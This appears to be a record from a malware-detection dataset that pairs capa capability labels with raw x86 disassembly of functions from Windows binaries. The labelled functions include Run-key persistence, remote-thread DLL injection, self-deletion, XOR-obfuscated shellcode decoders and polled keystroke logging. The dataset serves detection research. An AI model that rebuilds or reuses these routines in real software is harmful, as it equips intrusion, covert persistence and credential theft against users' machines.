joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6d08130a
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
mov dword [ebp - 0xc], 0x104
mov dword [ebp - 0x10], 1
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
lea eax, [ebp - 0x11c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea eax, [ebp - 0x18]
mov dword [esp + 0x20], eax
lea eax, [ebp - 0x14]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0xf003f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegCreateKeyExA_36
sub esp, 0x24
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0xc]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x11c]
mov dword [esp + 0x10], edx
mov edx, dword [ebp - 0x10]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0
mov dword [esp + 4], str.AutoRun
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
leave
ret

Function at 0x6d08143f
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0x8000
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret
Function at 0x6d081572
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._ftell
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], str.File_size_is__d_n
call sym._printf
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x6d0815e0
mov dword [esp], str.Malloc_failed_
call sym._puts
mov dword [esp], 1
call sym._exit
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._fread
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x6d081805
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp], 0x1388
call sym._Sleep_4
sub esp, 4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._DeleteFileA_4
sub esp, 4
nop
leave
ret

Function at 0x6d081b90
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x6d08603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x6d086034]
sub esp, 4
test ebx, ebx
je 0x6d081bdb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x6d081bd4
test esi, esi
je 0x6d081bd4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x6d081bb0
mov dword [esp], 0x6d08603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x6d081dc0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x6d0841c0
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x6d081e10
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x6d081ee8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x6d081e4e
cmp eax, 4
jne 0x6d081e70
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x6d081e5e
cmp edx, 4
je 0x6d081e5e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.6d081dc0

Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x403f59
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x403f68
pop dword [ebp - 0x28]
mov eax, 0x403f68
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x710f96a8
add dword [ebp - 0x38], 0xdd42aea3
mov dword [ebp - 0x34], 0x5e80b58c
add dword [ebp - 0x34], 0xd3b296b9
mov dword [ebp - 0x30], 0x52557075
add dword [ebp - 0x30], 0xf9f6d3b9
mov dword [ebp - 0x2c], 0x7009081a
sub dword [ebp - 0x2c], 0x7009081a
lea eax, [ebp - 0x38]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0x6edf5a37
add dword [ebp - 0x38], 0x5930f1f
mov dword [ebp - 0x34], 0xa4ef1a2
add dword [ebp - 0x34], 0x371d6fd3
mov dword [ebp - 0x30], 0x5672f7f1
sub dword [ebp - 0x30], 0xf3038b85
mov dword [ebp - 0x2c], 0x77957b01
add dword [ebp - 0x2c], 0x886a84ff
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0xcd3c1661
add eax, 0x3304b9eb
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x3b728
push 0
call eax
mov ecx, 0x86b29df7
sub ecx, 0x86b24e8f
xor edi, edi
add edi, eax
mov esi, 0xc35409be
sub esi, 0xc31259be
add esi, dword [ebp - 0x28]
mov ebx, 0x403fd489
sub ebx, 0xa30f3684
xor dword [ebp - 4], 0xa461049c
mov edx, dword [esi]
xor dword [ebp - 0x1c], esi
add edx, ebx
sub dword [ebp - 0x20], 0xa30e12e3
mov dword [edi], edx
xor dword [ebp - 0x20], 0xb588b408
add edi, 4
add esi, 4
loop 0x404082
add eax, 0xb62ab384
sub eax, 0xb6298311
mov ebx, eax
add eax, 0xc8d3bda8
add eax, 0x372c425d
mov ecx, 0x528a9c4b
sub ecx, 0x524a9c4b
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x407fdf
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x812d70]
jne 0x407fe9
repz ret
jmp fcn.0040c2c2

Function at 0x40a778
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00404b97
and dword [ebp - 4], 0
cmp dword [0x8177f8], 0
mov ebx, eax
jne 0x40a829
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40a8da
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40a8da
push eax
call fcn.00404b25
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x8177f8], eax
call esi
push eax
call fcn.00404b25
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x8177fc], eax
call esi
push eax
call fcn.00404b25
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x817800], eax
call esi
push eax
call fcn.00404b25
pop ecx
mov dword [0x817808], eax
test eax, eax
je 0x40a829
push 0x80ef28
push edi
call esi
push eax
call fcn.00404b25
pop ecx
mov dword [0x817804], eax
mov eax, dword [0x817804]
cmp eax, ebx
je 0x40a881
cmp dword [0x817808], ebx
je 0x40a881
push eax
call fcn.00404ba0
push dword [0x817808]
mov esi, eax
call fcn.00404ba0
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40a881
test edi, edi
je 0x40a881
call esi
test eax, eax
je 0x40a878
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40a878
test byte [ebp - 0xc], 1
jne 0x40a881
or dword [ebp + 0x10], 0x200000
jmp 0x40a8ba
mov eax, dword [0x8177fc]
cmp eax, ebx
je 0x40a8ba
push eax
call fcn.00404ba0
pop ecx
test eax, eax
je 0x40a8ba
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40a8ba
mov eax, dword [0x817800]
cmp eax, ebx
je 0x40a8ba
push eax
call fcn.00404ba0
pop ecx
test eax, eax
je 0x40a8ba
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x8177f8]
call fcn.00404ba0
pop ecx
test eax, eax
je 0x40a8da
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40a8dc
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x8de3a8
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x8de3ae
pop ebp
sub ebp, 6
sub ebp, 0x4de3a8
jmp 0x8de40c
jmp 0x8de415
mov eax, 0x4de3a8
add eax, ebp
add eax, 0x93
mov ecx, 0x61e
mov edx, 0x325dc74e
xor byte [eax], dl
inc eax
dec ecx
jne 0x8de42c
jmp 0x8de43f
and al, 0xe
dec esi
pop esi
dec esi
dec esi
dec esi
and byte [edx + 0x4e], 0x7d
mov ds, word [esi]
mov cl, 0xdb
jb 0x8de4c1
or cl, byte [esi + 0x1e]
lds eax, [ebx + 0x4e72c7c5]
dec esi
dec esi
iretd
dec esi
invalid
Function at 0x411e50
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4165c0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
mov eax, dword [esp + 0x20]
push ebp
push esi
push edi
mov esi, ecx
lea edi, [eax*4]
mov ecx, edi
add ecx, dword [esi + 0x30]
push ecx
lea ecx, [esp + 0x30]
call fcn.00414e38
xor ebp, ebp
lea ecx, [esp + 0x10]
mov dword [esp + 0x24], ebp
call fcn.00414bd4
lea ecx, [esp + 0xc]
mov byte [esp + 0x24], 1
call fcn.00414bd4
push 0x2e
lea ecx, [esp + 0x30]
mov byte [esp + 0x28], 2
call fcn.00414e4a
cmp eax, 0xffffffff
je 0x411f41
lea edx, [esp + 0x14]
push eax
push edx
lea ecx, [esp + 0x34]
call fcn.00414e80
push eax
lea ecx, [esp + 0x30]
mov byte [esp + 0x28], 3
call fcn.00414df6
lea ecx, [esp + 0x14]
mov byte [esp + 0x24], 2
call fcn.00414bc2
push 0x2e
lea ecx, [esp + 0x30]
call fcn.00414e4a
cmp eax, 0xffffffff
je 0x411f30
mov ecx, dword [esi + 0x30]
add ecx, edi
mov edx, dword [ecx]
mov edx, dword [edx - 8]
sub edx, eax
lea eax, [esp + 0x14]
dec edx
push edx
push eax
call fcn.00414e3e
push eax
lea ecx, [esp + 0x30]
mov byte [esp + 0x28], 4
call fcn.00414df6
lea ecx, [esp + 0x14]
mov byte [esp + 0x24], 2
call fcn.00414bc2
jmp 0x411f41
mov edx, dword [esi + 0x30]
mov ecx, edi
add ecx, edx
push ecx
lea ecx, [esp + 0x30]
call fcn.00414df6
mov edx, dword [esp + 0x2c]
lea eax, [esp + 0x10]
push edx
push 0x4573d4
push eax
call fcn.00414bc8
mov ecx, dword [esi + 0x6c]
add esp, 0xc
cmp dword [edi + ecx], 0x80000001
jne 0x411f75
mov edx, dword [esp + 0x2c]
lea eax, [esp + 0xc]
push edx
push 0x4573a8
push eax
jmp 0x411f84
mov ecx, dword [esp + 0x2c]
lea edx, [esp + 0xc]
push ecx
push 0x45737c
push edx
call fcn.00414bc8
add esp, 0xc
mov dword [esp + 0x18], ebp
mov eax, dword [esi + 0x6c]
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x14]
mov byte [esp + 0x24], 5
mov eax, dword [edi + eax]
push ecx
push 0xf003f
push 0
push edx
push eax
mov dword [esp + 0x28], 0
call dword [0x41700c]
test eax, eax
jne 0x412035
mov ebp, dword [esp + 0x14]
mov dword [esp + 0x18], ebp
mov eax, dword [esp + 0xc]
mov edx, dword [esi + 0x6c]
mov ecx, dword [esp + 0x10]
push eax
mov eax, dword [edi + edx]
push 0x80000001
push ecx
push eax
call fcn.00401da0
add esp, 0x10
mov esi, eax
test ebp, ebp
je 0x411ff2
push ebp
call dword [section..rdata]
lea ecx, [esp + 0xc]
mov byte [esp + 0x24], 1
call fcn.00414bc2
lea ecx, [esp + 0x10]
mov byte [esp + 0x24], 0
call fcn.00414bc2
lea ecx, [esp + 0x2c]
mov dword [esp + 0x24], 0xffffffff
call fcn.00414bc2
mov eax, esi
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
add esp, 0x1c
ret 4
cmp eax, 2
jne 0x411fc7
lea ecx, [esp + 0xc]
mov byte [esp + 0x24], 1
call fcn.00414bc2
lea ecx, [esp + 0x10]
mov byte [esp + 0x24], 0
call fcn.00414bc2
lea ecx, [esp + 0x2c]
mov dword [esp + 0x24], 0xffffffff
call fcn.00414bc2
mov ecx, dword [esp + 0x1c]
pop edi
pop esi
mov eax, 1
pop ebp
mov dword fs:[0], ecx
add esp, 0x1c
ret 4
Function at 0x10015423
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10063918
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x24
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x4b17
mov dword [ebp - 0x28], 0x10008450
cmp dword [ebp - 0x24], 0x4bf3
jle 0x100154d7
and dword [ebp - 0x18], 0
jmp 0x1001546f
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x78b
jge 0x100154ca
and dword [ebp - 0x1c], 0
jmp 0x10015485
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x2376
jge 0x100154c8
and dword [ebp - 0x20], 0
jmp 0x1001549b
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x14af
jge 0x100154c6
mov eax, dword [ebp - 0x18]
and eax, dword [ebp - 0x1c]
xor eax, dword [ebp - 0x20]
cdq
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], edx
push dword [ebp - 0x30]
push dword [ebp - 0x34]
mov ecx, 0x1060d6f8
call fcn.1001b0b7
jmp 0x10015494
jmp 0x1001547e
jmp 0x10015468
push 0x158
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x2c], eax
and dword [ebp - 4], 0
cmp dword [ebp - 0x24], 0x4945
jge 0x100154f7
mov edx, dword [ebp - 0x28]
mov ecx, 0x1060d6f8
call fcn.1001d5c2
jmp 0x10015513
or dword [ebp - 4], 0xffffffff
jmp 0x1001551d
mov eax, dword [ebp - 0x14]
mov dword [eax], 0
jmp 0x10015533
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x14]
mov dword [ecx], eax
mov eax, dword [ebp - 0x14]
cmp dword [eax], 1
jge 0x10015550
mov eax, dword [ebp - 0x14]
push dword [eax]
mov ecx, dword [ebp - 0x2c]
call fcn.1001b386
mov dword [eax], 0xeede0b40
jmp 0x10015528
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10023f84
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x10063eab
call fcn.10063290
sub esp, 0x10
cmp byte [ecx], 0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
je 0x1002402c
mov dword [ebp - 0x1c], 0x2519
xor esi, esi
cmp dword [ebp - 0x1c], 0x2789
jle 0x10024006
mov edi, esi
mov ebx, esi
mov dword [ebp - 0x18], esi
mov ecx, esi
mov esi, dword [ebp - 0x18]
mov dword [ebp - 0x14], ecx
mov eax, esi
sar eax, cl
mov ecx, 0x1060d6f8
xor eax, ebx
xor eax, edi
cdq
push edx
push eax
call fcn.1001b0b7
mov ecx, dword [ebp - 0x14]
inc ecx
mov dword [ebp - 0x14], ecx
cmp ecx, 0x2825
jl 0x10023fc1
inc esi
push 0
mov dword [ebp - 0x18], esi
cmp esi, 0x4fd6
pop esi
jl 0x10023fb9
inc ebx
cmp ebx, 0x7782
jl 0x10023fb6
inc edi
cmp edi, 0x4b2f
jl 0x10023fb4
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov dword [ebp - 4], esi
cmp dword [ebp - 0x1c], 0x230a
jge 0x1002402c
mov edx, 0x100092f8
mov ecx, 0x1060d6f8
call fcn.1001d5c2
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100287ce
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x1002892a
lea eax, [ebp + 0x10]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
test eax, eax
je 0x1002891b
mov dword [ebp - 0xc], 0x9b55bb2c
mov dword [ebp - 0x28], 0xf88d9675
mov dword [ebp - 8], 0
jmp 0x10028812
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 3
jge 0x10028825
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x40], 0x51f20002
jmp 0x1002880b
mov dword [ebp - 0xc], 0x13
jmp 0x10028835
mov eax, dword [ebp - 0xc]
dec eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xfffffffd
jl 0x10028919
mov dword [ebp - 0x10], 0x18795010
mov dword [ebp - 0x10], 2
jmp 0x10028856
mov eax, dword [ebp - 0x10]
dec eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jl 0x10028914
mov dword [ebp - 4], 0xd4dfbd6c
mov dword [ebp - 0x14], 0
mov dword [ebp - 4], 2
jmp 0x1002887e
mov eax, dword [ebp - 4]
dec eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jl 0x1002890f
mov dword [ebp - 0x2c], 0xffffffff
mov eax, dword [ebp - 4]
cmp dword [ebp + eax*4 - 0x40], 0xda0
je 0x100288f4
cmp dword [ebp - 0x28], 0
jne 0x100288b3
imul eax, dword [ebp - 4], 0x1ae9
test eax, eax
jne 0x100288b3
and dword [ebp - 0x18], 0
jmp 0x100288ba
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x14], 0x94e8fe75
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x18]
jle 0x100288d5
cmp dword [ebp - 4], 0
jne 0x100288d5
and dword [ebp - 0x1c], 0
jmp 0x100288dc
mov dword [ebp - 0x1c], 1
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x1c]
sub ecx, dword [ebp + eax*4 - 0x40]
je 0x100288ee
cmp dword [ebp - 4], 0
jne 0x100288f4
and dword [ebp - 0x20], 0
jmp 0x100288fb
mov dword [ebp - 0x20], 1
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x40]
add eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
jmp 0x10028877
jmp 0x1002884f
jmp 0x1002882e
jmp 0x10028928
push 0
push 0x58e
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
jmp 0x10028950
mov eax, dword [ebp + 8]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x34], eax
push dword [ebp - 0x30]
push dword [ebp - 0x34]
push 0
push 0x32e2
push 0x2b22
call fcn.10041b93
add esp, 0x14
mov esp, ebp
pop ebp
ret
Function at 0x10028e74
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006407e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], 0x2879
mov dword [ebp - 0x28], 0x10009a38
cmp dword [ebp - 0x1c], 0x2939
jle 0x10028efa
and dword [ebp - 0x14], 0
jmp 0x10028eba
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x628e
jge 0x10028efa
and dword [ebp - 0x18], 0
jmp 0x10028ed0
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x640e
jge 0x10028ef8
mov eax, dword [ebp - 0x14]
xor eax, dword [ebp - 0x18]
cdq
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edx
push dword [ebp - 0x2c]
push dword [ebp - 0x30]
mov ecx, 0x1060d6f8
call fcn.1001b0b7
jmp 0x10028ec9
jmp 0x10028eb3
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x10028f30
lea eax, [ebp + 8]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
movzx eax, byte [eax]
test eax, eax
je 0x10028f1f
push 0x25e3
call dword [sym.imp.USER32.dll_GetKeyState]
jmp 0x10028f2e
push 0
push 0x689
push 0
call dword [sym.imp.GDI32.dll_GetEnhMetaFileHeader]
jmp 0x10028f52
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x24], eax
push 0x22f
push 0x622e
push 0
push 0x2b2c
push dword [ebp - 0x24]
call fcn.10039b2f
add esp, 0x14
and dword [ebp - 4], 0
cmp dword [ebp - 0x1c], 0x2699
jge 0x10028f6c
mov edx, dword [ebp - 0x28]
mov ecx, 0x1060d6f8
call fcn.1001d5c2
jmp 0x10028f88
or dword [ebp - 4], 0xffffffff
jmp 0x10028f92
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100299f5
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x10029a7b
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x1c], eax
lea eax, [ebp + 8]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
movzx eax, byte [eax]
test eax, eax
je 0x10029a6c
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 8]
mov dword [eax], 0
jmp 0x10029a4d
mov eax, dword [ebp - 8]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 8]
mov dword [ecx], eax
mov eax, dword [ebp - 8]
cmp dword [eax], 1
jge 0x10029a6a
mov eax, dword [ebp - 8]
push dword [eax]
mov ecx, dword [ebp - 0x28]
call fcn.1001b386
mov dword [eax], 0xeede0b40
jmp 0x10029a42
jmp 0x10029a76
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_EqualSid]
jmp 0x10029b26
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x30], eax
lea eax, [ebp + 0x1c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
movzx eax, byte [eax]
test eax, eax
je 0x10029abf
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x10029abd
push 0x8ce
push 0x95b
push 0x194d
push 0x1394
call dword [sym.imp.GDI32.dll_CreateRectRgn]
jmp 0x10029b26
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x40], eax
push 0
mov ecx, dword [ebp - 0xc]
call fcn.1001b386
and dword [eax], 0
jmp 0x10029afe
push 0
mov ecx, dword [ebp - 0xc]
call fcn.1001b386
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x10]
mov dword [ecx], eax
push 0
mov ecx, dword [ebp - 0xc]
call fcn.1001b386
cmp dword [eax], 2
jge 0x10029b26
push 0
mov ecx, dword [ebp - 0xc]
call fcn.1001b386
push dword [eax]
mov ecx, dword [ebp - 0x40]
call fcn.1001b386
or dword [eax], 0xffffffff
jmp 0x10029ae6
mov esp, ebp
pop ebp
ret